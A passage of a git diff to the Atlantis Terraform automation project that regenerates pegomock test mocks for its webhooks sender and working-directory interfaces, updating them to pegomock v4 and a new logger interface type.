> 1 { + _param1 = make([][]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.([]string) + } } - _param2 = make([]string, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(string) + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } } - _param3 = make([]map[string]string, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(map[string]string) + if len(_params) > 3 { + _param3 = make([]map[string]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(map[string]string) + } } } return diff --git a/server/events/mocks/mock_webhooks_sender.go b/server/events/mocks/mock_webhooks_sender.go index 2be91b0896..b0f9d368e3 100644 --- a/server/events/mocks/mock_webhooks_sender.go +++ b/server/events/mocks/mock_webhooks_sender.go @@ -4,7 +4,7 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" webhooks "github.com/runatlantis/atlantis/server/events/webhooks" logging "github.com/runatlantis/atlantis/server/logging" "reflect" @@ -26,19 +26,19 @@ func NewMockWebhooksSender(options ...pegomock.Option) *MockWebhooksSender { func (mock *MockWebhooksSender) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockWebhooksSender) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockWebhooksSender) Send(log *logging.SimpleLogger, res webhooks.ApplyResult) error { +func (mock *MockWebhooksSender) Send(log logging.SimpleLogging, res webhooks.ApplyResult) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWebhooksSender().") } - params := []pegomock.Param{log, res} - result := pegomock.GetGenericMockFrom(mock).Invoke("Send", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{log, res} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Send", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0 + return _ret0 } func (mock *MockWebhooksSender) VerifyWasCalledOnce() *VerifierMockWebhooksSender { @@ -48,14 +48,14 @@ func (mock *MockWebhooksSender) VerifyWasCalledOnce() *VerifierMockWebhooksSende } } -func (mock *MockWebhooksSender) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockWebhooksSender { +func (mock *MockWebhooksSender) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockWebhooksSender { return &VerifierMockWebhooksSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockWebhooksSender) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWebhooksSender { +func (mock *MockWebhooksSender) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWebhooksSender { return &VerifierMockWebhooksSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -63,7 +63,7 @@ func (mock *MockWebhooksSender) VerifyWasCalledInOrder(invocationCountMatcher pe } } -func (mock *MockWebhooksSender) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockWebhooksSender { +func (mock *MockWebhooksSender) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockWebhooksSender { return &VerifierMockWebhooksSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -73,14 +73,14 @@ func (mock *MockWebhooksSender) VerifyWasCalledEventually(invocationCountMatcher type VerifierMockWebhooksSender struct { mock *MockWebhooksSender - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockWebhooksSender) Send(log *logging.SimpleLogger, res webhooks.ApplyResult) *MockWebhooksSender_Send_OngoingVerification { - params := []pegomock.Param{log, res} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Send", params, verifier.timeout) +func (verifier *VerifierMockWebhooksSender) Send(log logging.SimpleLogging, res webhooks.ApplyResult) *MockWebhooksSender_Send_OngoingVerification { + _params := []pegomock.Param{log, res} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Send", _params, verifier.timeout) return &MockWebhooksSender_Send_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -89,21 +89,25 @@ type MockWebhooksSender_Send_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockWebhooksSender_Send_OngoingVerification) GetCapturedArguments() (*logging.SimpleLogger, webhooks.ApplyResult) { +func (c *MockWebhooksSender_Send_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, webhooks.ApplyResult) { log, res := c.GetAllCapturedArguments() return log[len(log)-1], res[len(res)-1] } -func (c *MockWebhooksSender_Send_OngoingVerification) GetAllCapturedArguments() (_param0 []*logging.SimpleLogger, _param1 []webhooks.ApplyResult) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*logging.SimpleLogger, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*logging.SimpleLogger) +func (c *MockWebhooksSender_Send_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []webhooks.ApplyResult) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param1 = make([]webhooks.ApplyResult, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(webhooks.ApplyResult) + if len(_params) > 1 { + _param1 = make([]webhooks.ApplyResult, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(webhooks.ApplyResult) + } } } return diff --git a/server/events/mocks/mock_working_dir.go b/server/events/mocks/mock_working_dir.go index 4ad6467fdf..f17c3a59a4 100644 --- a/server/events/mocks/mock_working_dir.go +++ b/server/events/mocks/mock_working_dir.go @@ -4,7 +4,7 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" logging "github.com/runatlantis/atlantis/server/logging" "reflect" @@ -26,95 +26,159 @@ func NewMockWorkingDir(options ...pegomock.Option) *MockWorkingDir { func (mock *MockWorkingDir) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockWorkingDir) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockWorkingDir) Clone(log *logging.SimpleLogger, headRepo models.Repo, p models.PullRequest, workspace string) (string, bool, error) { +func (mock *MockWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } - params := []pegomock.Param{log, headRepo, p, workspace} - result := pegomock.GetGenericMockFrom(mock).Invoke("Clone", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 string - var ret1 bool - var ret2 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) + _params := []pegomock.Param{logger, headRepo, p, workspace} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Clone", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) } - if result[1] != nil { - ret1 = result[1].(bool) + if _result[1] != nil { + _ret1 = _result[1].(error) } - if result[2] != nil { - ret2 = result[2].(error) + } + return _ret0, _ret1 +} + +func (mock *MockWorkingDir) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockWorkingDir().") + } + _params := []pegomock.Param{logger, r, p} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Delete", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0, ret1, ret2 + return _ret0 } -func (mock *MockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) (string, error) { +func (mock *MockWorkingDir) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } - params := []pegomock.Param{r, p, workspace} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetWorkingDir", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 string - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) + _params := []pegomock.Param{logger, r, p, workspace} + _result := pegomock.GetGenericMockFrom(mock).Invoke("DeleteForWorkspace", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } - if result[1] != nil { - ret1 = result[1].(error) + } + return _ret0 +} + +func (mock *MockWorkingDir) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockWorkingDir().") + } + _params := []pegomock.Param{logger, r, p, workspace, path, projectName} + _result := pegomock.GetGenericMockFrom(mock).Invoke("DeletePlan", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0, ret1 + return _ret0 +} + +func (mock *MockWorkingDir) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) ([]string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockWorkingDir().") + } + _params := []pegomock.Param{logger, r, p, workspace} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetGitUntrackedFiles", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 } func (mock *MockWorkingDir) GetPullDir(r models.Repo, p models.PullRequest) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } - params := []pegomock.Param{r, p} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullDir", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 string - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) + _params := []pegomock.Param{r, p} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullDir", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } -func (mock *MockWorkingDir) Delete(r models.Repo, p models.PullRequest) error { +func (mock *MockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } - params := []pegomock.Param{r, p} - result := pegomock.GetGenericMockFrom(mock).Invoke("Delete", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{r, p, workspace} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetWorkingDir", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0 + return _ret0, _ret1 } -func (mock *MockWorkingDir) DeleteForWorkspace(r models.Repo, p models.PullRequest, workspace string) error { +func (mock *MockWorkingDir) HasDiverged(logger logging.SimpleLogging, cloneDir string) bool { if mock == nil { panic("mock must not be nil. Use myMock := NewMockWorkingDir().") } - params := []pegomock.Param{r, p, workspace} - result := pegomock.GetGenericMockFrom(mock).Invoke("DeleteForWorkspace", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{logger, cloneDir} + _result := pegomock.GetGenericMockFrom(mock).Invoke("HasDiverged", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) + var _ret0 bool + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(bool) + } + } + return _ret0 +} + +func (mock *MockWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (bool, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockWorkingDir().") + } + _params := []pegomock.Param{logger, headRepo, p, workspace} + _result := pegomock.GetGenericMockFrom(mock).Invoke("MergeAgain", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 bool + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(bool) + } + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0 + return _ret0, _ret1 } func (mock *MockWorkingDir) VerifyWasCalledOnce() *VerifierMockWorkingDir { @@ -124,14 +188,14 @@ func (mock *MockWorkingDir) VerifyWasCalledOnce() *VerifierMockWorkingDir { } } -func (mock *MockWorkingDir) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockWorkingDir { +func (mock *MockWorkingDir) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockWorkingDir { return &VerifierMockWorkingDir{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockWorkingDir) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWorkingDir { +func (mock *MockWorkingDir) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWorkingDir { return &VerifierMockWorkingDir{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -139,7 +203,7 @@ func (mock *MockWorkingDir) VerifyWasCalledInOrder(invocationCountMatcher pegomo } } -func (mock *MockWorkingDir) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockWorkingDir { +func (mock *MockWorkingDir) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockWorkingDir { return &VerifierMockWorkingDir{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -149,14 +213,14 @@ func (mock *MockWorkingDir) VerifyWasCalledEventually(invocationCountMatcher peg type VerifierMockWorkingDir struct { mock *MockWorkingDir - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockWorkingDir) Clone(log *logging.SimpleLogger, headRepo models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_Clone_OngoingVerification { - params := []pegomock.Param{log, headRepo, p, workspace} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Clone", params, verifier.timeout) +func (verifier *VerifierMockWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_Clone_OngoingVerification { + _params := []pegomock.Param{logger, headRepo, p, workspace} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Clone", _params, verifier.timeout) return &MockWorkingDir_Clone_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -165,72 +229,239 @@ type MockWorkingDir_Clone_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockWorkingDir_Clone_OngoingVerification) GetCapturedArguments() (*logging.SimpleLogger, models.Repo, models.PullRequest, string) { - log, headRepo, p, workspace := c.GetAllCapturedArguments() - return log[len(log)-1], headRepo[len(headRepo)-1], p[len(p)-1], workspace[len(workspace)-1] +func (c *MockWorkingDir_Clone_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { + logger, headRepo, p, workspace := c.GetAllCapturedArguments() + return logger[len(logger)-1], headRepo[len(headRepo)-1], p[len(p)-1], workspace[len(workspace)-1] } -func (c *MockWorkingDir_Clone_OngoingVerification) GetAllCapturedArguments() (_param0 []*logging.SimpleLogger, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*logging.SimpleLogger, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*logging.SimpleLogger) +func (c *MockWorkingDir_Clone_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param1 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.Repo) + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } } - _param2 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(models.PullRequest) + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } } - _param3 = make([]string, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(string) + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } } } return } -func (verifier *VerifierMockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_GetWorkingDir_OngoingVerification { - params := []pegomock.Param{r, p, workspace} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetWorkingDir", params, verifier.timeout) - return &MockWorkingDir_GetWorkingDir_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockWorkingDir) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) *MockWorkingDir_Delete_OngoingVerification { + _params := []pegomock.Param{logger, r, p} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Delete", _params, verifier.timeout) + return &MockWorkingDir_Delete_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockWorkingDir_GetWorkingDir_OngoingVerification struct { +type MockWorkingDir_Delete_OngoingVerification struct { mock *MockWorkingDir methodInvocations []pegomock.MethodInvocation } -func (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest, string) { - r, p, workspace := c.GetAllCapturedArguments() - return r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] +func (c *MockWorkingDir_Delete_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { + logger, r, p := c.GetAllCapturedArguments() + return logger[len(logger)-1], r[len(r)-1], p[len(p)-1] } -func (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest, _param2 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockWorkingDir_Delete_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } } - _param2 = make([]string, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(string) + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } + } + } + return +} + +func (verifier *VerifierMockWorkingDir) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_DeleteForWorkspace_OngoingVerification { + _params := []pegomock.Param{logger, r, p, workspace} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeleteForWorkspace", _params, verifier.timeout) + return &MockWorkingDir_DeleteForWorkspace_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockWorkingDir_DeleteForWorkspace_OngoingVerification struct { + mock *MockWorkingDir + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { + logger, r, p, workspace := c.GetAllCapturedArguments() + return logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] +} + +func (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockWorkingDir) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) *MockWorkingDir_DeletePlan_OngoingVerification { + _params := []pegomock.Param{logger, r, p, workspace, path, projectName} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeletePlan", _params, verifier.timeout) + return &MockWorkingDir_DeletePlan_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockWorkingDir_DeletePlan_OngoingVerification struct { + mock *MockWorkingDir + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockWorkingDir_DeletePlan_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string, string, string) { + logger, r, p, workspace, path, projectName := c.GetAllCapturedArguments() + return logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1], path[len(path)-1], projectName[len(projectName)-1] +} + +func (c *MockWorkingDir_DeletePlan_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string, _param4 []string, _param5 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } + } + if len(_params) > 4 { + _param4 = make([]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(string) + } + } + if len(_params) > 5 { + _param5 = make([]string, len(c.methodInvocations)) + for u, param := range _params[5] { + _param5[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockWorkingDir) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification { + _params := []pegomock.Param{logger, r, p, workspace} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetGitUntrackedFiles", _params, verifier.timeout) + return &MockWorkingDir_GetGitUntrackedFiles_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockWorkingDir_GetGitUntrackedFiles_OngoingVerification struct { + mock *MockWorkingDir + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) { + logger, r, p, workspace := c.GetAllCapturedArguments() + return logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1] +} + +func (c *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } } } return } func (verifier *VerifierMockWorkingDir) GetPullDir(r models.Repo, p models.PullRequest) *MockWorkingDir_GetPullDir_OngoingVerification { - params := []pegomock.Param{r, p} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullDir", params, verifier.timeout) + _params := []pegomock.Param{r, p} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullDir", _params, verifier.timeout) return &MockWorkingDir_GetPullDir_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -245,81 +476,142 @@ func (c *MockWorkingDir_GetPullDir_OngoingVerification) GetCapturedArguments() ( } func (c *MockWorkingDir_GetPullDir_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.Repo) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 1 { + _param1 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.PullRequest) + } } } return } -func (verifier *VerifierMockWorkingDir) Delete(r models.Repo, p models.PullRequest) *MockWorkingDir_Delete_OngoingVerification { - params := []pegomock.Param{r, p} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Delete", params, verifier.timeout) - return &MockWorkingDir_Delete_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockWorkingDir) 